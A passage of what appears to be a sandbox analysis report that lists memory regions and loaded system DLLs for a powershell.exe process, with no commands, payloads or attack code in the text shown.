	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 1407
	        start_va = 0x10000
	          end_va = 0x45fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 1408
	        start_va = 0x50000
	          end_va = 0x53fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000050000"
	        filename = ""

Region:
	              id = 1409
	        start_va = 0x60000
	          end_va = 0x60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000060000"
	        filename = ""

Region:
	              id = 1410
	        start_va = 0xd0000
	          end_va = 0x14ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 1411
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1412
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1413
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1414
	        start_va = 0x13f1f0000
	          end_va = 0x13f266fff
	     entry_point = 0x13f1f0000
	     region_type = mapped_file
	            name = "powershell.exe"
	        filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")

Region:
	              id = 1415
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 1416
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 1417
	        start_va = 0x7fffffdd000
	          end_va = 0x7fffffdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdd000"
	        filename = ""

Region:
	              id = 1418
	        start_va = 0x7fffffdf000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdf000"
	        filename = ""

Region:
	              id = 1420
	        start_va = 0x240000
	          end_va = 0x33ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000240000"
	        filename = ""

Region:
	              id = 1421
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1422
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1423
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 1424
	        start_va = 0x20000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 1425
	        start_va = 0x30000
	          end_va = 0x36fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 1426
	        start_va = 0x40000
	          end_va = 0x41fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 1427
	        start_va = 0x70000
	          end_va = 0x72fff
	     entry_point = 0x70000
	     region_type = mapped_file
	            name = "powershell.exe.mui"
	        filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui")

Region:
	              id = 1428
	        start_va = 0x80000
	          end_va = 0x80fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000080000"
	        filename = ""

Region:
	              id = 1429
	        start_va = 0x90000
	          end_va = 0x90fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000090000"
	        filename = ""

Region:
	              id = 1430
	        start_va = 0x150000
	          end_va = 0x1b6fff
	     entry_point = 0x150000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1431
	        start_va = 0x340000
	          end_va = 0x43ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000340000"
	        filename = ""

Region:
	              id = 1432
	        start_va = 0x470000
	          end_va = 0x47ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000470000"
	        filename = ""

Region:
	              id = 1433
	        start_va = 0x480000
	          end_va = 0x607fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000480000"
	        filename = ""

Region:
	              id = 1434
	        start_va = 0x610000
	          end_va = 0x790fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000610000"
	        filename = ""

Region:
	              id = 1435
	        start_va = 0x7a0000
	          end_va = 0x1b9ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000007a0000"
	        filename = ""

Region:
	              id = 1436
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1437
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1438
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 1439
	        start_va = 0x7fee9d80000
	          end_va = 0x7fee9deefff
	     entry_point = 0x7fee9d80000
	     region_type = mapped_file
	            name = "mscoree.dll"
	        filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll")

Region:
	              id = 1440
	        start_va = 0x7fefb760000
	          end_va = 0x7fefb778fff
	     entry_point = 0x7fefb760000
	     region_type = mapped_file
	            name = "atl.dll"
	        filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll")

Region:
	              id = 1441
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1442
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 1443
	        start_va = 0x7feff0e0000
	          end_va = 0x7feff1bafff
	     entry_point = 0x7feff0e0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 1444
	        start_va = 0x7feff1c0000
	          end_va = 0x7feff1defff
	     entry_point = 0x7feff1c0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 1445
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 1446
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 1447
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1448
	        start_va = 0x7feff640000
	          end_va = 0x7feff6b0fff
	     entry_point = 0x7feff640000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 1449
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 1450
	        start_va = 0x7feffa40000
	          end_va = 0x7feffc42fff
	     entry_point = 0x7feffa40000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 1451
	        start_va = 0x7feffc50000
	          end_va = 0x7feffd7cfff
	     entry_point = 0x7feffc50000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 1452
	        start_va = 0x7feffd80000
	          end_va = 0x7feffe56fff
	     entry_point = 0x7feffd80000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 1453
	        start_va = 0x1ba0000
	          end_va = 0x1c9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001ba0000"
	        filename = ""

Region:
	              id = 1454
	        start_va = 0x1cc0000
	          end_va = 0x1ccffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001cc0000"
	        filename = ""

Region:
	              id = 1455
	        start_va = 0x1de0000
	          end_va = 0x1e5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001de0000"
	        filename = ""

Region:
	              id = 1456
	        start_va = 0x7fefda80000
	          end_va = 0x7fefda8efff
	     entry_point = 0x7fefda80000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 1457
	        start_va = 0x7fefc4b0000
	          end_va = 0x7fefc505fff
	     entry_point = 0x7fefc4b0000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")

Region:
	              id = 1458
	        start_va = 0xa0000
	          end_va = 0xa0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000a0000"
	        filename = ""

Region:
	              id = 1459
	        start_va = 0x1cd0000
	          end_va = 0x1daefff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001cd0000"
	        filename = ""

Region:
	              id = 1460
	        start_va = 0x2020000
	          end_va = 0x209ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002020000"
	        filename = ""

Region:
	              id = 1461
	        start_va = 0x7feff9a0000
	          end_va = 0x7feffa38fff
	     entry_point = 0x7feff9a0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 1462
	        start_va = 0xb0000
	          end_va = 0xb0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000b0000"
	        filename = ""

Region:
	              id = 1463
	        start_va = 0x7fefdfd0000
	          end_va = 0x7fefed57fff
	     entry_point = 0x7fefdfd0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")

Region:
	              id = 1464
	        start_va = 0xc0000
	          end_va = 0xc1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000c0000"
	        filename = ""

Region:
	              id = 1465
	        start_va = 0x7fefc690000
	          end_va = 0x7fefc883fff
	     entry_point = 0x7fefc690000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll")

Region:
	              id = 1466
	        start_va = 0x7fefcf30000
	          end_va = 0x7fefcf4dfff
	     entry_point = 0x7fefcf30000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 1467
	        start_va = 0x7fefdb90000
	          end_va = 0x7fefdb9efff
	     entry_point = 0x7fefdb90000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 1468
	        start_va = 0x1c0000
	          end_va = 0x1c0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001c0000"
	        filename = ""

Region:
	              id = 1469
	        start_va = 0x1d0000
	          end_va = 0x1d1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001d0000"
	        filename = ""

Region:
	              id = 1470
	        start_va = 0x1f20000
	          end_va = 0x1f9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001f20000"
	        filename = ""

Region:
	              id = 1471
	        start_va = 0x20a0000
	          end_va = 0x236efff
	     entry_point = 0x20a0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 1472
	        start_va = 0x7fefc510000
	          end_va = 0x7fefc63bfff
	     entry_point = 0x7fefc510000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")

Region:
	              id = 1473
	        start_va = 0x7fffffdb000
	          end_va = 0x7fffffdcfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdb000"
	        filename = ""

Region:
	              id = 1474
	        start_va = 0x7fefbb00000
	          end_va = 0x7fefbb2cfff
	     entry_point = 0x7fefbb00000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 1475
	        start_va = 0x7feffe60000
	          end_va = 0x7feffeb1fff
	     entry_point = 0x7feffe60000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 1476
	        start_va = 0x7fefdce0000
	          end_va = 0x7fefdd15fff
	     entry_point = 0x7fefdce0000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 1477
	        start_va = 0x7fefddd0000
	          end_va = 0x7fefdde9fff
	     entry_point = 0x7fefddd0000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 1478
	        start_va = 0x7feff2f0000
	          end_va = 0x7feff4c6fff
	     entry_point = 0x7feff2f0000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")

Region:
	              id = 1479
	        start_va = 0x1f0000
	          end_va = 0x20ffff
	     entry_point = 0x1f0000
	     region_type = mapped_file
	            name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db"
	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db")

Region:
	              id = 1480
	        start_va = 0x210000
	          end_va = 0x210fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000210000"
	        filename = ""

Region:
	              id = 1481
	        start_va = 0x1ea0000
	          end_va = 0x1f1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001ea0000"
	        filename = ""

Region:
	              id = 1482
	        start_va = 0x2370000
	          end_va = 0x2762fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002370000"
	        filename = ""

Region:
	              id = 1483
	        start_va = 0x7fefb340000
	          end_va = 0x7fefb396fff
	     entry_point = 0x7fefb340000
	     region_type = mapped_file
	            name = "apphelp.dll"
	        filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll")

Region:
	              id = 1484
	        start_va = 0x7fffffd9000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd9000"
	        filename = ""

Region:
	              id = 1485
	        start_va = 0x7fef8e50000
	          end_va = 0x7fef8e83fff
	     entry_point = 0x7fef8e50000
	     region_type = mapped_file
	            name = "shdocvw.dll"
	        filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll")

Region:
	              id = 1486
	        start_va = 0x1e0000
	          end_va = 0x1e3fff
	     entry_point = 0x1e0000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 1487
	        start_va = 0x220000
	          end_va = 0x223fff
	     entry_point = 0x220000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 1488
	        start_va = 0x440000
	          end_va = 0x46ffff
	     entry_point = 0x440000
	     region_type = mapped_file
	            name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000001c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db")

Region:
	              id = 1489
	        start_va = 0x1fa0000
	          end_va = 0x2005fff
	     entry_point = 0x1fa0000
	     region_type = mapped_file
	            name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db")

Region:
	              id = 1490
	        start_va = 0x7fef8e40000
	          end_va = 0x7fef8e4bfff
	     entry_point = 0x7fef8e40000
	     region_type = mapped_file
	            name = "linkinfo.dll"
	        filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll")

Region:
	              id = 1491
	        start_va = 0x7fef9b40000
	          end_va = 0x7fef9bbffff
	     entry_point = 0x7fef9b40000
	     region_type = mapped_file
	            name = "ntshrui.dll"
	        filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll")

Region:
	              id = 1492
	        start_va = 0x7fefd980000
	          end_va = 0x7fefd9a2fff
	     entry_point = 0x7fefd980000
	     region_type = mapped_file
	            name = "srvcli.dll"
	        filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll")

Region:
	              id = 1493
	        start_va = 0x2770000
	          end_va = 0x27effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002770000"
	        filename = ""

Region:
	              id = 1494
	        start_va = 0x7fef9bc0000
	          end_va = 0x7fef9bcefff
	     entry_point = 0x7fef9bc0000
	     region_type = mapped_file
	            name = "cscapi.dll"
	        filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll")

Region:
	              id = 1495
	        start_va = 0x7fefb730000
	          end_va = 0x7fefb73afff
	     entry_point = 0x7fefb730000
	     region_type = mapped_file
	            name = "slc.dll"
	        filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll")

Region:
	              id = 1496
	        start_va = 0x7fffffd7000
	          end_va = 0x7fffffd8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd7000"
	        filename = ""

Region:
	              id = 1497
	        start_va = 0x7fefd480000
	          end_va = 0x7fefd496fff
	     entry_point = 0x7fefd480000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 1498
	        start_va = 0x7fefd180000
	          end_va = 0x7fefd1c6fff
	     entry_point = 0x7fefd180000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 1499
	        start_va = 0x7fee9ce0000
	          end_va = 0x7fee9d78fff
	     entry_point = 0x7fee9ce0000
	     region_type = mapped_file
	            name = "mscoreei.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll")

Region:
	              id = 1500
	        start_va = 0x27f0000
	          end_va = 0x28effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000027f0000"
	        filename = ""

Region:
	              id = 1501
	        start_va = 0x7fefcd50000
	          end_va = 0x7fefcd5bfff
	     entry_point = 0x7fefcd50000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 1502
	        start_va = 0x230000
	          end_va = 0x230fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000230000"
	        filename = ""

Region:
	              id = 1503
	        start_va = 0x2a20000
	          end_va = 0x2a9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002a20000"
	        filename = ""

Region:
	              id = 1504
	        start_va = 0x756a0000
	          end_va = 0x75768fff
	     entry_point = 0x756a0000
	     region_type = mapped_file
	            name = "msvcr80.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll")

Region:
	              id = 1505
	        start_va = 0x7fee5120000
	          end_va = 0x7fee5abcfff
	     entry_point = 0x7fee5120000
	     region_type = mapped_file
	            name = "mscorwks.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorwks.dll")

Region:
	              id = 1506
	        start_va = 0x1ca0000
	          end_va = 0x1ca2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001ca0000"
	        filename = ""

Region:
	              id = 1507
	        start_va = 0x1cb0000
	          end_va = 0x1cb0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001cb0000"
	        filename = ""

Region:
	              id = 1508
	        start_va = 0x1dc0000
	          end_va = 0x1ddffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001dc0000"
	        filename = ""

Region:
	              id = 1509
	        start_va = 0x28f0000
	          end_va = 0x29effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000028f0000"
	        filename = ""

Region:
	              id = 1510
	        start_va = 0x2ac0000
	          end_va = 0x2b3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002ac0000"
	        filename = ""

Region:
	              id = 1511
	        start_va = 0x2bf0000
	          end_va = 0x2bfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002bf0000"
	        filename = ""

Region:
	              id = 1512
	        start_va = 0x7ff00030000
	          end_va = 0x7ff0003ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff00030000"
	        filename = ""

Region:
	              id = 1513
	        start_va = 0x7ff00040000
	          end_va = 0x7ff0004ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff00040000"
	        filename = ""

Region:
	              id = 1514
	        start_va = 0x7ff00050000
	          end_va = 0x7ff000effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff00050000"
	        filename = ""

Region:
	              id = 1515
	        start_va = 0x7ff000f0000
	          end_va = 0x7ff000fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff000f0000"
	        filename = ""

Region:
	              id = 1516
	        start_va = 0x7ff00100000
	          end_va = 0x7ff0016ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007ff00100000"
	        filename = ""

Region:
	              id = 1517
	        start_va = 0x7fffffd5000
	          end_va = 0x7fffffd6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd5000"
	        filename = ""

Region:
	              id = 1518
	        start_va = 0x2c00000
	          end_va = 0x1abfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002c00000"
	        filename = ""

Region:
	              id = 1519
	        start_va = 0x1ac00000
	          end_va = 0x1b2cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001ac00000"
	        filename = ""

Region:
	              id = 1520
	        start_va = 0x1b2d0000
	          end_va = 0x1b3d0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001b2d0000"
	        filename = ""

Region:
	              id = 1521
	        start_va = 0x1b520000
	          end_va = 0x1b59ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000001b520000"
	        filename = ""

Region:
	              id = 1522
	        start_va = 0x7fee3fc0000
	          end_va = 0x7fee4e9bfff
	     entry_point = 0x7fee3fc0000
	     region_type = mapped_file
	            name = "mscorlib.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll")

Region:
	              id = 1523
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 1524
	        start_va = 0x1db0000
	          end_va = 0x1dbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001db0000"
	        filename = ""

Region:
	              id = 1525
	        start_va = 0x1b5a0000
	          end_va = 0x1b881fff
	     entry_point = 0x1b5a0000
	     region_type = mapped_file
	            name = "system.management.automation.dll"
	        filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll")

Region:
	              id = 1526
	        start_va = 0x7fee34d0000
	          end_va = 0x7fee3581fff
	     entry_point = 0x7fee34d0000
	     region_type = mapped_file
	            name = "microsoft.powershell.consolehost.ni.dll"
